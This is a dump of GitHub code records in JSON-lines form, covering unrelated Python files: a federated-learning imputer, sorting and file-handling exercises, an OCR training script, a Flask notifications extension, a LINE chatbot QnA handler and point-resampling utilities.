__transform_replace(self, data, transform_value, replace_area, output_format, skip_cols):\n skip_cols = [get_header(data).index(v) for v in skip_cols]\n\n schema = data.schema\n if isinstance(data.first()[1], Instance):\n data = data.mapValues(lambda v: Imputer._transform_nan(v))\n data.schema = schema\n\n if replace_area == 'all':\n if output_format is not None:\n f = functools.partial(Imputer.replace_missing_value_with_replace_value_format,\n replace_value=transform_value, missing_value_list=self.abnormal_value_set,\n output_format=output_format)\n else:\n f = functools.partial(Imputer.replace_missing_value_with_replace_value,\n replace_value=transform_value, missing_value_list=self.abnormal_value_set)\n elif replace_area == 'col':\n if output_format is not None:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value_format,\n transform_list=transform_value, missing_value_list=self.abnormal_value_set,\n output_format=output_format,\n skip_cols=set(skip_cols))\n else:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value,\n transform_list=transform_value, missing_value_list=self.abnormal_value_set,\n skip_cols=set(skip_cols))\n else:\n raise ValueError(\"Unknown replace area {} in Imputer\".format(replace_area))\n\n return data.mapValues(f)\n\n @staticmethod\n def __get_impute_number(some_data):\n impute_num_list = None\n data_size = None\n\n for line in some_data:\n processed_data = line[1][0]\n index_list = line[1][1]\n if not data_size:\n if isinstance(processed_data, Instance):\n data_size = data_overview.get_instance_shape(processed_data)\n else:\n data_size = len(processed_data)\n # data_size + 1, the last element of impute_num_list used to count the number of \"some_data\"\n impute_num_list = [0 for _ in range(data_size + 1)]\n\n impute_num_list[data_size] += 1\n for index in index_list:\n impute_num_list[index] += 1\n\n return np.array(impute_num_list)\n\n def __get_impute_rate_from_replace_data(self, data):\n impute_number_statics = data.applyPartitions(self.__get_impute_number).reduce(lambda x, y: x + y)\n cols_impute_rate = impute_number_statics[:-1] / impute_number_statics[-1]\n\n return cols_impute_rate\n\n def fit(self, data, replace_method=None, replace_value=None, output_format=consts.ORIGIN,\n col_replace_method=None):\n \"\"\"\n Apply imputer for input data\n Parameters\n ----------\n data: Table, each data's value should be list\n replace_method: str, the strategy of imputer, like min, max, mean or designated and so on. Default None\n replace_value: str, if replace_method is designated, you should assign the replace_value which will be used to replace the value in imputer_value_list\n output_format: str, the output data format. The output data can be 'str', 'int', 'float'. Default origin, the original format as input data\n col_replace_method: dict of (col_name, replace_method), any col_name not included will take replace_method\n\n Returns\n ----------\n fit_data:data_instance, data after imputer\n cols_transform_value: list, the replace value in each column\n \"\"\"\n if output_format not in self.support_output_format:\n raise ValueError(\"Unsupport output_format:{}\".format(output_format))\n\n output_format = self.support_output_format[output_format]\n\n if isinstance(replace_method, str):\n replace_method = replace_method.lower()\n if replace_method not in self.support_replace_method:\n raise ValueError(\"Unknown replace method:{}\".format(replace_method))\n elif replace_method is None and col_replace_method is None:\n if isinstance(data.first()[1], Instance):\n replace_value = 0\n else:\n replace_value = '0'\n elif replace_method is None and col_replace_method is not None:\n LOGGER.debug(f\"perform computation on selected cols only: {col_replace_method}\")\n else:\n raise ValueError(\"parameter replace_method should be str or None only\")\n if isinstance(col_replace_method, dict):\n for col_name, method in col_replace_method.items():\n method = method.lower()\n if method not in self.support_replace_method:\n raise ValueError(\"Unknown replace method:{}\".format(method))\n col_replace_method[col_name] = method\n\n process_data, cols_transform_value = self.__fit_replace(data, replace_method, replace_value, output_format,\n col_replace_method=col_replace_method)\n\n self.cols_fit_impute_rate = self.__get_impute_rate_from_replace_data(process_data)\n process_data = process_data.mapValues(lambda v: v[0])\n process_data.schema = data.schema\n\n return process_data, cols_transform_value\n\n def transform(self, data, transform_value, output_format=consts.ORIGIN, skip_cols=None):\n \"\"\"\n Transform input data using Imputer with fit results\n Parameters\n ----------\n data: Table, each data's value should be list\n transform_value:\n output_format: str, the output data format. The output data can be 'str', 'int', 'float'. Default origin, the original format as input data\n\n Returns\n ----------\n transform_data:data_instance, data after transform\n \"\"\"\n if output_format not in self.support_output_format:\n raise ValueError(\"Unsupport output_format:{}\".format(output_format))\n\n output_format = self.support_output_format[output_format]\n skip_cols = [] if skip_cols is None else skip_cols\n\n # Now all of replace_method is \"col\", remain replace_area temporarily\n # replace_area = self.support_replace_area[replace_method]\n replace_area = \"col\"\n process_data = self.__transform_replace(data, transform_value, replace_area, output_format, skip_cols)\n self.cols_transform_impute_rate = self.__get_impute_rate_from_replace_data(process_data)\n process_data = process_data.mapValues(lambda v: v[0])\n process_data.schema = data.schema\n\n return process_data\n","repo_name":"FederatedAI/FATE","sub_path":"python/federatedml/feature/imputer.py","file_name":"imputer.py","file_ext":"py","file_size_in_byte":18463,"program_lang":"python","lang":"en","doc_type":"code","stars":5296,"dataset":"github-code","pt":"53"} +{"seq_id":"28896777517","text":"\"\"\"\nKeep parsing over the array and if adjescent elements are in wrong order\nswap them until there are no swaps \nBy the ith traversal the last i elements will already be in the correct position\n\"\"\"\n\ndef bubbleSort(A):\n n = len(A)\n for i in range(n):\n swaps = False\n for j in range(0, n-i-1):\n if A[j] > A[j+1]:\n A[j], A[j+1] = A[j+1], A[j]\n swaps = True\n if not swaps:\n break\n print(A)\n return A\n\nbubbleSort([1, 2, 3, 4, 5, 6, 7, 7, 8, 9])","repo_name":"yashodeepchikte/CP","sub_path":"8-Sorting/2-BubbleSort.py","file_name":"2-BubbleSort.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71046134249","text":"#!/usr/bin/env python3\n\ntry:\n arquivo = open('/home/kami/Projetos/Cod3r/Manipulação_Arquivo/pessoas.csv') \n\n for registro in arquivo:\n print('Nome: {}, Idade: {}'.format(*registro.strip().split(',')))\n \nfinally:\n print('finally')\n arquivo.close()\n\n#mesmo se der erro ou acerto no try 'o bloco', ele vai passar pelo finally, ou seja, oq tiver no finally, vai ser executado\n\n\nif arquivo.closed:\n print('Arquivo ja foi fechado')","repo_name":"kamibarreto/Cod3r","sub_path":"Manipulação_Arquivo/io_4.py","file_name":"io_4.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8516931375","text":"width = int(input())\nlength = int(input())\nheight = int(input())\n\ntotal_space = width * length * height\n\nleft_space = total_space\n\ncommand = input() # \"Done\" OR integer as string, e.g. \"13\", \"22\", ...\nwhile command != \"Done\":\n current_box = int(command)\n left_space -= current_box\n if left_space <= 0: # has value of non-positive, e.g. \"-22\"\n break\n\n command = input()\n\nif command == \"Done\":\n print(f\"{left_space} Cubic meters left.\")\nelse:\n print(f\"No more free space! You need {-left_space} Cubic meters more.\") # e.g. \"-22\" => \"22\"\n","repo_name":"SimeonChifligarov/SoftUni_as_Lecturer","sub_path":"Python_Courses/Python_Basics/Python_PB_2023_04/05_While_Loop_Exercise/07_Moving.py","file_name":"07_Moving.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"16356842284","text":"import speech_recognition as sr\nimport os, time\nimport sounddevice as sd\n\n\nr = sr.Recognizer()\nprint(\"Recording...\")\nfs = 48000\nduration=5\naudio_data = sd.rec(int(duration * fs), samplerate=fs, channels=1)\ntime.sleep(5)\nprint(audio_data)\n\n# return audio from that array\n\n'''\n# read the audio data from the default microphone\nprint(\"Recognizing...\")\n# convert speech to text\ntext = r.recognize_google(audio_data, 'it-IT')\nprint(text)\n'''\n","repo_name":"teschiopol/teddy","sub_path":"from_mic.py","file_name":"from_mic.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39044573976","text":"import argparse\r\nimport logging\r\nimport sys\r\nimport torch\r\nfrom torch.backends import cudnn\r\nfrom crnn import Attention_ocr\r\nimport losses\r\nfrom dataset import get_dataset\r\nfrom train_engine import Train_Engine\r\n\r\nimport os\r\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\r\n\r\n\r\nparser=argparse.ArgumentParser()\r\nparser.add_argument('--TRAIN_DIR',default='/mnt/disk2/std2021/hejiabang-data/OCR/attention_img/ch_train.txt')\r\nparser.add_argument('--TEST_DIR',default='/mnt/disk2/std2021/hejiabang-data/OCR/attention_img/ch_test.txt')\r\nparser.add_argument('--num_workers',type=int,default=0,help='number of data loading workers')\r\nparser.add_argument('--batch_size',type=int,default=4,help='input batch size')\r\nparser.add_argument('--input_h',type=int,default=32,help='the height of the input image to network')\r\nparser.add_argument('--input_w',type=int,default=100,help='the width of the input image to network')\r\nparser.add_argument('--max_seq_len',type=int,default=10,help='the max sequence length')\r\nparser.add_argument('--use_gpu',action='store_true',default=False,help='enable cuda')\r\nparser.add_argument('--epochs',type=int,default=300,help='training epoc')\r\nparser.add_argument('--lr',type=float,default=0.001,help='learning rate for Critic,default=0.000005')\r\nparser.add_argument('--print_interval',type=int,default=100,help='how many iterations to print')\r\nparser.add_argument('--eval_step',type=int,default=1,help='how many epochs to evaluate')\r\nparser.add_argument('--save_step',type=int,default=1,help='how many epochs to save models')\r\nparser.add_argument('--save_dir',type=str,default='../data/ocr',help='save model directory')\r\nopt=parser.parse_args()\r\n\r\nlogging.basicConfig(\r\n level=logging.INFO,#打印日志级别数值\r\n format='%(asctime)s: %(message)s',#输出时间和信息\r\n stream=sys.stdout #指定日志的输出流\r\n)\r\n\r\ncudnn.benchmark=True\r\n\r\n\r\nlogging.info('===================Start Traning===================')\r\ntrain_data,test_data,char_to_index,index_to_char,n_class=get_dataset(opt)\r\n\r\n\r\nnet=Attention_ocr(use_gpu=opt.use_gpu,NUM_CLASS=n_class)\r\n\r\noptimizer=torch.optim.Adam(net.parameters(),lr=opt.lr,betas=(0.9,0.999))\r\ncriterion=losses.Attention_loss()\r\n\r\n\r\nnet=torch.nn.DataParallel(net)\r\n\r\n\"\"\"for i, data in enumerate(train_data):\r\n imgs, labels = data\r\n print(imgs.shape,labels.shape)\r\n break\"\"\"\r\n#net=net.cuda()\r\nmodel=Train_Engine(net)\r\nmodel.fit(index_to_char,train_data=train_data, test_data=test_data, optimizer=optimizer, criterion=criterion, epochs=opt.epochs,\r\n print_interval=opt.print_interval, eval_step=opt.eval_step, save_step=opt.save_step, save_dir=opt.save_dir, use_gpu=opt.use_gpu)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Tsukinousag1/Attention_OCR","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"93352456","text":"from importlib import import_module\n\nfrom flask import current_app, Response\nfrom flask_celeryext import FlaskCeleryExt\nfrom werkzeug.local import LocalProxy\n\nfrom flask_notifications.consumers.push.ssenotifier import SseNotifier\nfrom flask_notifications.event_hub import EventHub\nfrom .version import __version__\n\n\nclass Notifications(object):\n \"\"\"Flask extension implementing a Notification service.\"\"\"\n\n def __init__(self, app=None, celery=None, broker=None, *args, **kwargs):\n \"\"\"Initialize the notification service.\n\n :param app: Application to extend\n :param celery: Optional celery instance to be used (it must\n be already set up with the proper config)\n :param broker: Optional broker instance to be used (it must be\n already set up with the proper config)\n \"\"\"\n self.app = app\n self.celery = celery\n self.broker = broker\n self._hubs = {}\n self._notifiers = {}\n\n if app is not None:\n self.init_app(app, celery, broker, *args, **kwargs)\n\n def init_app(self, app, celery=None, broker=None, *args, **kwargs):\n \"\"\"Initialization of the Flask-notifications extension.\"\"\"\n self.app = app\n\n # Follow the Flask guidelines on usage of app.extensions\n if not hasattr(app, 'extensions'):\n app.extensions = {}\n if 'notifications' in app.extensions:\n raise RuntimeError(\"Flask notification extension is \"\n \"already initialized.\")\n\n # Celery dependency\n if celery is None:\n self.celery = FlaskCeleryExt(app)\n else:\n self.celery = celery\n\n # Broker dependency, mandatory\n self.broker = broker\n\n # Dynamic import from class name of backend\n default_backend = \\\n \"flask_notifications.backend.redis_backend.RedisBackend\"\n backend_option = self.app.config[\"BACKEND\"] or default_backend\n backend_option = backend_option.split(\".\")\n module, classname = backend_option[0:-1], backend_option[-1]\n\n imported_module = import_module(\".\".join(module))\n self.backend = getattr(imported_module, classname)\n\n # Register extension in Flask app\n app.extensions['notifications'] = self\n\n app.context_processor(\n lambda: dict(current_notifications=current_notifications)\n )\n\n def send(self, event):\n \"\"\"Send an event through to all the hubs.\"\"\"\n def consume(hub):\n hub.consume(event)\n map(consume, self._hubs.itervalues())\n\n def sse_notifier_for(self, hub_id):\n \"\"\"Create a :class SseNotifier: listening to a hub.\"\"\"\n try:\n sse_notifier = self._notifiers[hub_id]\n except KeyError:\n sse_notifier = SseNotifier(self.create_backend(), hub_id)\n self._notifiers[hub_id] = sse_notifier\n\n return sse_notifier\n\n def flask_sse_notifier(self, hub_id):\n \"\"\"Create a Flask :class Response: that will push notifications.\"\"\"\n return Response(self.sse_notifier_for(hub_id),\n mimetype='text/event-stream')\n\n def create_hub(self, hub_alias):\n \"\"\"Create an EventHub to aggregate certain types of events.\"\"\"\n hub = EventHub(hub_alias, self.celery)\n self._hubs[hub.hub_id] = hub\n return hub\n\n def create_backend(self):\n \"\"\"Create a PublishSubscribe instance from the specified broker.\"\"\"\n return self.backend(self.broker)\n\n @staticmethod\n def root():\n \"\"\"Return a root entry of current application's menu.\"\"\"\n return current_app.extensions['notifications']\n\n\ncurrent_notifications = LocalProxy(Notifications.root)\n\n__all__ = ('current_notifications', 'Notifications', '__version__')\n","repo_name":"inveniosoftware-contrib/flask-notifications","sub_path":"flask_notifications/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"53"} +{"seq_id":"1609014122","text":"import heapq as hpq\nN, K = map(int, input().split())\n\ncoins = []\nfor _ in range(N):\n hpq.heappush(coins, -int(input()))\n\ncount = 0\nwhile K != 0:\n coin = -hpq.heappop(coins)\n count += K // coin\n K %= coin\n\nprint(count)","repo_name":"MoHoDu/BOJ_CSharp_Python","sub_path":"백준/Silver/11047. 동전 0/동전 0.py","file_name":"동전 0.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5144376113","text":"\"\"\"\nGiven the root of a binary tree, return the level order traversal of its nodes' values.\n(i.e., from left to right, level by level).\n\nExample 1:\n Input: root = [3,9,20,null,null,15,7]\n Output: [[3],[9,20],[15,7]]\n\nExample 2:\n Input: root = [1]\n Output: [[1]]\n\nExample 3:\n Input: root = []\n Output: []\n\"\"\"\nfrom collections import deque\nfrom typing import Optional, List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef level_order(root: Optional[TreeNode]) -> List[List[int]]:\n res = []\n if not root:\n return res\n\n queue = deque()\n queue.appendleft(root)\n while queue:\n level = []\n length = len(queue)\n for i in range(length):\n node = queue.pop()\n level.append(node.val)\n left = node.left\n right = node.right\n if left:\n queue.appendleft(left)\n if right:\n queue.appendleft(right)\n\n res.append(level)\n\n return res\n\n\nroot1 = TreeNode(1, TreeNode(2), TreeNode(3))\n\nroot2 = TreeNode(1, left=TreeNode(2))\n\nnode1 = TreeNode(2, TreeNode(4), TreeNode(5))\nroot3 = TreeNode(1, node1, TreeNode(3))\n\nprint(level_order(root1))\nprint(level_order(root2))\nprint(level_order(root3))\n","repo_name":"pushpa66/Learn-data-structures-and-algorithms-in-python","sub_path":"75/Q62 Binary Tree Level Order Traversal_BFS_Leetcode 102.py","file_name":"Q62 Binary Tree Level Order Traversal_BFS_Leetcode 102.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26325888134","text":"from django.conf import settings\n\nfrom linebot import LineBotApi\nfrom linebot.models import TextSendMessage\n\nimport http.client, json\nfrom PythyAPI.models import users\n\nline_bot_api = LineBotApi(settings.LINE_CHANNEL_ACCESS_TOKEN)\n\nhost = 'runnableqna.azurewebsites.net' #主機\nendpoint_key = \"21191be3-17c2-4433-a13f-b80cd2597ec2\" #授權碼\nkb = \"bb0bd10e-1088-4e9e-9aed-661efdcded39\" #GUID碼\nmethod = \"/qnamaker/knowledgebases/\" + kb + \"/generateAnswer\"\n\ndef sendQnA(event, mtext, userid): #QnA\n question = {\n 'question': mtext,\n }\n content = json.dumps(question)\n headers = {\n 'Authorization': 'EndpointKey ' + endpoint_key,\n 'Content-Type': 'application/json',\n 'Content-Length': len(content)\n }\n conn = http.client.HTTPSConnection(host)\n conn.request (\"POST\", method, content, headers)\n response = conn.getresponse ()\n result = json.loads(response.read())\n result1 = result['answers'][0]['answer']\n if 'No good match' in result1:\n text1 = '很抱歉,資料庫中無適當解答!\\n請再輸入問題。'\n #將沒有解答的問題寫入資料庫\n #userid = event.source.user_id\n #unit = users.objects.create(uid=userid, question=mtext)\n #unit.save()\n unit = users.objects.get(uid=userid)\n unit.question = mtext\n unit.save()\n else:\n result2 = result1[2:] #移除「A:」\n text1 = result2 \n message = TextSendMessage(alt_text=\"從資料庫找的回答\",text = text1)\n line_bot_api.reply_message(event.reply_token,message)\n","repo_name":"SoowiiXie/lineBotPython","sub_path":"module/func8QnA.py","file_name":"func8QnA.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"75320547048","text":"def missing(A):\n size = len(A)\n if size == 0:\n return 1\n total = 0\n for i in range(1, size+2):\n total +=i\n\n return total - sum(A)\nA = [1,6,3,2,5]\nprint(missing(A))\n","repo_name":"dudepare/sharper-saw","sub_path":"python/missing.py","file_name":"missing.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5144666738","text":"# to get the values associated with a key, give the name of the dictionary and then the place inside the set of brackets\r\n\r\n# for example\r\n\r\nalien_0 = {\"colour\": \"green\"}\r\nprint(alien_0[\"colour\"])\r\n\r\n# you can have an unlimited number of key values in a dictionary.\r\n\r\nalien_0 = {\"colour\": \"green\", \"points\": 5}\r\n\r\n# now alien_0 has two key values pairs\r\n# i can access either the colour or point value of alien_0 both of which i can look up\r\n\r\n# for example if a player shoots down this alien, you can look up how many points they should earn like this\r\n\r\nnew_points = alien_0[\"points\"] # code pulls value \"points\" from the dictionary\r\nprint(\"You just earned \" + str(new_points) + \" points!\")\r\n\r\n","repo_name":"JamCrumpet/Lesson-notes","sub_path":"Lesson 5 dictionaries/5.3_accessing_values_in_a_dictionary.py","file_name":"5.3_accessing_values_in_a_dictionary.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7660190536","text":"import random\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.spatial import cKDTree\n\n\ndef sort_point_sequence(outline):\n min_dists, min_dist_idx = cKDTree(outline).query(outline, 10)\n min_dists = min_dists[:, 1:]\n min_dist_idx = min_dist_idx[:, 1:]\n new_outline = []\n used_idxs = []\n pidx = random.choice(range(len(outline)))\n new_outline.append(outline[pidx])\n used_idxs.append(pidx)\n while len(new_outline) < len(outline):\n print(\"CURRENT P =\", pidx)\n print(\"USED idxs =\", used_idxs)\n print(min_dist_idx[pidx, :])\n a = len(used_idxs)\n for id in min_dist_idx[pidx, :]:\n if id not in used_idxs:\n print(id)\n new_outline.append(outline[id])\n used_idxs.append(id)\n pidx = id\n break\n if len(used_idxs) == a:\n raise Exception(\"Improve you point drawing, this is a bit embarrasing\")\n\n return np.array(new_outline), used_idxs\n\n\ndef increase_point_resolution(rounds, outline):\n for r in range(rounds):\n if r == 0:\n pre_outline = np.copy(outline)\n else:\n pre_outline = np.copy(newoutline_new)\n newoutline_new = np.copy(pre_outline)\n i = 0\n while i < len(pre_outline) * 2 - 2:\n newpoint = np.array(\n [\n np.rint((newoutline_new[i] + newoutline_new[i + 1]) / 2).astype(\n \"int32\"\n )\n ]\n )\n newoutline_new = np.insert(newoutline_new, i + 1, newpoint, axis=0)\n i += 2\n newpoint = np.array(\n [np.rint((pre_outline[-1] + pre_outline[0]) / 2).astype(\"int32\")]\n )\n newoutline_new = np.insert(newoutline_new, 0, newpoint, axis=0)\n return newoutline_new\n\n\noutline = np.array(\n [\n [347, 236],\n [343, 242],\n [348, 255],\n [361, 257],\n [364, 248],\n [360, 237],\n [354, 256],\n [354, 235],\n [352, 237],\n [346, 242],\n ]\n)\n\nrounds = np.ceil(np.log2(150 / len(outline))).astype(\"int32\")\n\noutline_new = increase_point_resolution(rounds, outline)\nnewoutline, usedidxs = sort_point_sequence(outline)\nnewoutline_new = increase_point_resolution(rounds, newoutline)\n\nfig1, ax = plt.subplots(1, 2, figsize=(10, 5))\nax[0].scatter(outline[:, 0], outline[:, 1], s=100, label=\"unsorted original\")\nfor id, point in enumerate(outline):\n ax[0].annotate(str(id), point, c=\"k\")\nax[0].scatter(outline_new[:, 0], outline_new[:, 1], s=20, label=\"unsorted high res\")\nax[0].set_ylim(230, 260)\nax[0].set_xlim(340, 370)\nax[0].set_title(\"UNSORTED\")\nax[0].legend()\nax[1].scatter(newoutline[:, 0], newoutline[:, 1], s=100, label=\"sorted original\")\nfor id, point in enumerate(newoutline):\n ax[1].annotate(str(id), point, c=\"k\")\nax[1].scatter(newoutline_new[:, 0], newoutline_new[:, 1], s=20, label=\"sorted high res\")\nax[1].set_ylim(230, 260)\nax[1].set_xlim(340, 370)\nax[1].set_title(\"SORTED\")\nax[1].legend()\nplt.show()\n","repo_name":"dsb-lab/embdevtools","sub_path":"tests/increase_resolution_outline.py","file_name":"increase_resolution_outline.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"1889282429","text":"import numpy as np\nimport random\n\nfrom skspatial.objects import Plane, Point\n\n\ndef unit_vector(vector):\n return vector / np.linalg.norm(vector)\n\n\ndef get_local_points_fast(points, centers, h, max_local_points=50000):\n # Get local_points points around this center point\n local_indices = []\n for center in centers:\n x, y, z = center\n\n # 1) first get the square around the center\n where_square = ((points[:, 0] >= (x - h)) & (points[:, 0] <= (x + h)) & (points[:, 1] >= (y - h)) &\n (points[:, 1] <= (y + h)) & (points[:, 2] >= (z - h)) & (points[:, 2] <= (z + h)))\n\n square = points[where_square]\n indices_square = np.where(where_square == True)[0]\n\n # Get points which comply to x^2, y^2, z^2 <= r^2\n square_squared = np.square(square - center)\n where_sphere = np.sum(square_squared, axis=1) <= h ** 2\n local_sphere_indices = indices_square[where_sphere]\n\n local_indices.append(local_sphere_indices)\n\n if len(local_indices) > max_local_points:\n return random.sample(local_indices, max_local_points)\n\n return local_indices\n\n\ndef get_local_points(kdt, centers, h, max_local_points=50000):\n # Get local_points points around this center point\n local_indices = []\n for center in centers:\n k, idx, _ = kdt.search_radius_vector_3d(center, radius=h)\n\n indices = list(idx[1:])\n if len(indices) > max_local_points:\n return random.sample(indices, max_local_points)\n\n local_indices.append(indices)\n\n if len(local_indices) > max_local_points:\n return random.sample(local_indices, max_local_points)\n return local_indices\n\n\ndef project_one_point(q, p, n):\n \"\"\"\n :param q: a point\n :param p: the point on the plane\n :param n: the normal vector of the plane\n :return: the projected point\n \"\"\"\n plane = Plane(point=p, normal=n)\n pt = Point(q)\n return plane.project_point(pt)\n\n\ndef plane_dist(q, p, n):\n \"\"\"\n :param q: a point\n :param p: a point on plane\n :param n: the normal vector of the plane\n :return:\n \"\"\"\n pq = q - p\n dot = np.dot(pq, n)\n ret = dot / np.linalg.norm(n)\n if not np.isfinite([ret]).all():\n return 0x7fffffff\n return ret\n","repo_name":"SmartPolarBear/l1skeleton_py","sub_path":"skeleton/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"53"} +{"seq_id":"26331520888","text":"# Definition for a binary tree node.\nfrom typing import Optional, List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]:\n hist = {}\n ans = []\n def dfs(root: Optional[TreeNode]) -> str:\n if not root:\n return \"#\"\n s = \"\"\n s += str(root.val) + \".\" + dfs(root.left) + \".\" + dfs(root.right)\n if s in hist:\n hist[s] += 1\n if hist[s] == 2:\n ans.append(root)\n else:\n hist[s] = 1\n return s\n dfs(root)\n return ans","repo_name":"curlyapollo/leetcode","sub_path":"binary_tree/find_duplicate_subtrees/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"15583069100","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import animation\nfrom functools import partial\nfrom typing import List, Tuple\nfrom NanoParticleTools.inputs.nanoparticle import NanoParticleConstraint\nfrom pymatgen.vis.structure_vtk import EL_COLORS\n\nDEFAULT_COLOR_MAP = {\n 'Yb': 'tab:blue',\n 'Er': 'tab:orange',\n 'Nd': 'tab:green',\n 'Tm': 'tab:red',\n 'Other': 'lightgrey',\n 'Y': 'white'\n}\n\n\ndef plot_nanoparticle_from_arrays(radii: np.array,\n concentrations: np.array,\n dpi=150,\n as_np_array=False,\n elements=['Yb', 'Er', 'Nd']):\n if 'Y' not in elements:\n elements = elements + ['Y']\n\n # Fill in the concentrations with Y\n concentrations_with_y = np.concatenate(\n (concentrations, 1 - concentrations.sum(axis=1, keepdims=True)),\n axis=1)\n\n colors = [\n DEFAULT_COLOR_MAP[el]\n if el in DEFAULT_COLOR_MAP else DEFAULT_COLOR_MAP['Other']\n for el in elements\n ]\n # cmap = plt.colormaps[\"tab10\"]\n # colors = cmap(np.arange(4))\n # # colors[:3] = colors[1:]\n # colors[-1] = [1, 1, 1, 1]\n\n fig = plt.figure(figsize=(5, 5), dpi=dpi)\n ax = fig.subplots()\n\n for i in range(concentrations.shape[0], 0, -1):\n ax.pie(concentrations_with_y[i - 1],\n radius=radii[i] / radii[-1],\n colors=colors,\n wedgeprops=dict(edgecolor='k', linewidth=0.25),\n startangle=90)\n ax.legend(elements, loc='upper left', bbox_to_anchor=(0.84, 0.95))\n plt.tight_layout()\n if as_np_array:\n # If we haven't already shown or saved the plot, then we need to\n # draw the figure first.\n fig.canvas.draw()\n\n # Now we can save it to a numpy array.\n data = np.frombuffer(fig.canvas.tostring_rgb(), dtype=np.uint8)\n data = data.reshape(fig.canvas.get_width_height()[::-1] + (3, ))\n\n # Close the figure to remove it from the buffer\n plt.close(fig)\n return data\n else:\n return fig\n\n\ndef plot_nanoparticle(constraints,\n dopant_specifications,\n dpi=150,\n as_np_array=False,\n elements=['Yb', 'Er', 'Nd']):\n if 'Y' not in elements:\n elements = elements + ['Y']\n\n n_layers = len(constraints)\n radii = [0] + [constraint.radius for constraint in constraints]\n dopant_dict = [{key: 0 for key in elements} for _ in range(n_layers)]\n for dopant in dopant_specifications:\n dopant_dict[dopant[0]][dopant[2]] = dopant[1]\n\n # Fill in the rest with 'Y'\n for layer in dopant_dict:\n layer['Y'] = 1 - sum(layer.values())\n\n vals = [[layer[el] for el in elements] for layer in dopant_dict]\n\n return plot_nanoparticle_from_arrays(np.array(radii),\n np.array(vals),\n dpi=dpi,\n as_np_array=as_np_array,\n elements=elements)\n\n\ndef plot_nanoparticle_on_ax(ax,\n constraints,\n dopant_specifications,\n elements=['Yb', 'Er', 'Nd']):\n if 'Y' not in elements:\n elements = ['Y'] + elements\n\n n_layers = len(constraints)\n radii = [constraint.radius for constraint in constraints]\n dopant_dict = [{key: 0 for key in elements} for _ in range(n_layers)]\n for dopant in dopant_specifications:\n dopant_dict[dopant[0]][dopant[2]] = dopant[1]\n # Fill in the rest with 'Y'\n for layer in dopant_dict:\n layer['Y'] = np.round(1 - sum(layer.values()), 3)\n\n vals = [[layer[el] for el in elements] for layer in dopant_dict]\n cmap = plt.colormaps[\"tab10\"]\n colors = cmap(np.arange(4) * 4)\n colors[0] = [1, 1, 1, 1]\n\n for i in list(range(n_layers - 1, -1, -1)):\n # print(vals[i])\n ax.pie(vals[i],\n radius=radii[i] / radii[-1],\n colors=colors,\n wedgeprops=dict(edgecolor='k'),\n startangle=90)\n ax.legend(elements, loc='upper left', bbox_to_anchor=(1, 1))\n\n\ndef update(data, ax):\n constraints, dopants = data\n ax.clear()\n plot_nanoparticle_on_ax(ax, constraints, dopants)\n\n\ndef make_animation(frames: List[Tuple[NanoParticleConstraint, Tuple]],\n name: str = 'animation.mp4',\n fps: int = 30) -> None:\n\n fig = plt.figure(dpi=150)\n ax = fig.subplots()\n anim = animation.FuncAnimation(fig, partial(update, ax=ax), frames=frames)\n anim.save(name, fps=fps)\n fig.clear()\n","repo_name":"BlauGroup/NanoParticleTools","sub_path":"src/NanoParticleTools/util/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"18593445407","text":"# The code from the other file has been optimized to search x and y in a single traversal. Two loops are used to keep the program simple\r\n\r\nclass Node:\r\n\r\n # constructor\r\n def __init__(self, val = None, next1 = None):\r\n self.data = val\r\n self.next = next1\r\n\r\n # printlist from this to last till None\r\n def printlist(self):\r\n\r\n node = self\r\n\r\n while (node != None):\r\n print(node.data, end = 